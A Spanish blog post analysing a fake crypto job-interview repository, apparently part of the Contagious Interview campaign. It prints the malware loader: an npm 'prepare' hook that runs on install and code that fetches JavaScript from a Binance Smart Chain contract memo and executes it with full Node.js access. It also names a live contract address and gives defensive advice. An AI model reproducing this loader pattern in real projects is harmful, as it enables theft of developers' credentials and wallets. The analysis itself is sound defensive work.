Blog
Web3 & Blockchain·7 min read

Anatomía de una Estafa de Empleo Crypto: Cómo un Solo npm Install Puede Vaciar Tu Wallet

Me enviaron un repo de GitHub como prueba técnica. Resulta que descarga malware de la blockchain y lo ejecuta cuando haces npm install.

Jo Vinkenroye·February 25, 2026
Anatomía de una Estafa de Empleo Crypto: Cómo un Solo npm Install Puede Vaciar Tu Wallet

Un reclutador me contactó sobre un puesto de desarrollador Web3 en Limit Break. Buen salario, proyecto interesante, el paquete completo

Me enviaron un repo de GitHub para revisar como prueba técnica. Una plataforma de póker construida con React, Express, Socket.io y ethers.js

Casi lo ejecuté

En vez de eso decidí auditar el código primero. Lo que encontré fue un sistema sofisticado de distribución de malware que oculta su carga útil en la Binance Smart Chain y la ejecuta en el momento en que escribes npm install

Este es el desglose completo de cómo funciona

La Preparación

El repo está en github.com/LimitBreakOrgs/bet_ver_1. A primera vista parece completamente legítimo. Estructura de carpetas limpia, README apropiado, dependencias reales, cientos de líneas de lógica de juego

bet_ver_1/
├── server/ # Express backend
│ ├── controllers/ # Auth, chips, users, collection
│ ├── middleware/ # JWT, rate limiting, sanitization
│ ├── pokergame/ # Table, Player, Deck classes
│ └── socket/ # Socket.io game events
├── src/ # React frontend
│ ├── components/ # Poker table UI, cards, betting
│ ├── context/ # State management
│ └── utils/ # MetaMask wallet integration
└── package.json

Incluso tiene middleware de seguridad configurado — mongo sanitization, protección XSS, rate limiting, auth JWT. Alguien puso esfuerzo real en hacer que esto pareciera una codebase de producción

Las Primeras Señales de Alerta

Cuando empecé a investigar noté cosas que no cuadraban

La organización de GitHub es falsa. El verdadero Limit Break está en github.com/limitbreakinc con 18 repos, smart contracts en Solidity y años de historia. "LimitBreakOrgs" tiene exactamente un repo, cero miembros públicos, creado hace dos semanas

Eventos de ajedrez en un juego de póker. El archivo de paquetes socket define eventos como CS_SelectPiece, CS_PerformMove, CS_PawnTransform. Estos son eventos de ajedrez. En una aplicación de póker. El código fue claramente copiado y pegado de múltiples proyectos no relacionados

La autenticación está rota a propósito. En el controlador de auth la verificación de contraseña está hardcodeada:

// server/controllers/auth.js
const isMatch = true; // should be: await bcrypt.compare(password, user.password)

Cualquier contraseña funciona para cualquier cuenta. Esto no es un bug — no escribes const isMatch = true por accidente y te saltas el import de bcrypt

El archivo .env está commiteado. El .gitignore excluye .env.local pero no .env en sí. El archivo está ahí mismo en el repo con claves API y secrets. Quieren que pienses "oh genial está listo para ejecutar, solo necesito instalar"

La Trampa: package.json

Aquí es donde se pone interesante. Mira la sección de scripts:

{
"scripts": {
"start": "node server/server.js | react-scripts start",
"prepare": "node server/server.js"
}
}

El script de lifecycle prepare se ejecuta automáticamente durante npm install. No npm start. No npm run build. Solo npm install

En el momento en que instalas dependencias, server/server.js se ejecuta

La Carga Útil: Malware Alojado en la Blockchain

server.js se ve normal. App Express, middleware, rutas, Socket.io. Pero al final del arranque llama a una función:

// server/server.js
const { configureCollection } = require("./controllers/collection");
// ... configuración express normal ...
startServer(); // dentro del callback listen:
configureCollection(); // <-- este es el disparador

Y aquí está configureCollection:

// server/controllers/collection.js
const { ethers } = require("ethers");
const NFT_CONTRACT_ADDRESS = process.env.NFT_CONTRACT_ADDRESS;
const CONTRACT_ABI = [
"function getMemo(uint256) view returns (string)"
];
const TX_ID = 1;
const provider = new ethers.providers.JsonRpcProvider(process.env.RPC_URL);
async function configureCollection() {
const contract = new ethers.Contract(
NFT_CONTRACT_ADDRESS, CONTRACT_ABI, provider
);
const memo = await contract.getMemo(TX_ID);
ContentAsWeb(memo);
}

Se conecta a un smart contract en Binance Smart Chain en la dirección 0xE251b37Bac8D85984d96da55dc977A609716EBDc. Lee un campo memo de la transacción ID 1. Ese memo contiene un string

Un string de código JavaScript

Luego lo ejecuta:

function ContentAsWeb(payload) {
if (!payload || typeof payload !== "string") return;
try {
new Function(payload); // valida que es JS parseable
} catch (err) { return; }
try {
const ensureWeb = new Function("require", payload);
ensureWeb(require); // ejecuta con acceso completo a Node.js
} catch (err) {
console.error("ensureWeb error", err.message);
}
}

new Function("require", payload) crea una función a partir del string obtenido de la blockchain. Luego ensureWeb(require) lo ejecuta — pasándole el require de Node.js para que la carga útil pueda importar cualquier módulo que quiera

Por Qué Esto Es Brillante (y Aterrador)

Este diseño es inteligente por varias razones:

El malware no está en el repo. Los escáneres de seguridad de GitHub, npm audit y cualquier herramienta de análisis estático no encontrarán nada. La carga útil real vive on-chain

Es mutable. El atacante puede actualizar el campo memo del smart contract en cualquier momento. Hoy podría robar wallets. Mañana podría instalar un keylogger. El repo nunca cambia

Usa new Function() en lugar de eval(). La mayoría de los linters y herramientas de seguridad detectan eval(). Menos detectan new Function() aunque es igualmente peligroso

Los nombres de funciones están camuflados. configureCollection, ContentAsWeb, ensureWeb — todos suenan como funciones de utilidad legítimas. Tendrías que leer cada línea cuidadosamente para notar lo que realmente hacen

Pasa require explícitamente. new Function() no tiene acceso al scope del módulo por defecto. Al pasar require como parámetro, le dan a la carga útil acceso completo a Node.js — sistema de archivos, redes, procesos hijo, todo

Qué Puede Hacer la Carga Útil

Con require disponible, el JavaScript on-chain puede:

  • require('fs') — Leer tus claves SSH, archivos de wallet, archivos .env, perfiles de navegador
  • require('child_process') — Ejecutar cualquier comando de shell en tu máquina
  • require('https') — Enviar todo al servidor del atacante
  • require('os') — Hacer fingerprint de tu máquina, encontrar tu directorio home
  • require('path') — Navegar a ubicaciones conocidas de wallets

La lista típica de objetivos para estos ataques: vaults de MetaMask, datos de Phantom wallet, claves privadas SSH, credenciales de AWS, cookies del navegador, bases de datos de gestores de contraseñas

El Panorama General

Esto no es un caso aislado. Esta es la campaña Contagious Interview, ampliamente atribuida al Lazarus Group de Corea del Norte. Han estado ejecutando variaciones de esto desde 2024 y han robado millones

El manual de jugadas es siempre el mismo:

  1. Crear un perfil de empresa falso o suplantar uno real
  2. Contactar desarrolladores en LinkedIn/Telegram con una oferta de trabajo
  3. Llevar a cabo un proceso de entrevista convincente
  4. Enviar un repo de GitHub como "prueba técnica"
  5. El repo ejecuta malware al instalar o iniciar
  6. Vaciar wallets, robar credenciales, instalar backdoors persistentes

Se dirigen específicamente a desarrolladores crypto porque los desarrolladores crypto tienden a tener wallets crypto en sus máquinas de desarrollo

Cómo Protegerte

Antes de ejecutar cualquier prueba técnica de entrevista:

  1. Verifica la empresa. Revisa la organización real de GitHub, no solo el nombre. Cruza referencias con LinkedIn, el sitio web de la empresa y Crunchbase
  2. Lee package.json primero. Mira los scripts prepare, preinstall, postinstall e install. Si alguno de ellos ejecuta código de servidor, es una señal de alerta
  3. Busca new Function, eval, child_process y exec. Estos son patrones comunes de ejecución de carga útil
  4. Verifica llamadas a blockchain en proyectos no-blockchain. Una app de póker no necesita ethers.js conectándose a BSC al iniciar
  5. Usa un sandbox. Contenedor Docker, VM, o como mínimo una cuenta de usuario separada sin acceso a tus wallets o credenciales
  6. Revisa el .gitignore. Si .env está commiteado con claves que parecen reales, quieren que lo ejecutes tal cual sin pensar

Higiene general:

  • Nunca mantengas hot wallets en tu máquina de desarrollo
  • Usa hardware wallets para cualquier cantidad significativa
  • Mantén las claves SSH protegidas con frase de contraseña
  • No almacenes claves API en variables de entorno en tu máquina principal

El Contrato

Para los investigadores de seguridad que lean esto, el contrato malicioso está en:

  • Dirección: 0xE251b37Bac8D85984d96da55dc977A609716EBDc
  • Red: Binance Smart Chain (RPC: bsc-dataseed1.binance.org)
  • Método: getMemo(uint256) con TX_ID 1
  • Repo: github.com/LimitBreakOrgs/bet_ver_1

Si estás analizando esto, hazlo en un entorno aislado

Reflexión Final

Tuve suerte porque soy paranoico con ejecutar código ajeno. No todos lo son. Si eres un desarrollador que recibe ofertas de trabajo en crypto, la revisión de código empieza con la prueba técnica en sí — no con el código dentro de ella

Cuídense

Stay Updated

Get notified about new posts on automation, productivity tips, indie hacking, and web3.

No spam, ever. Unsubscribe anytime.

Comments

Related Posts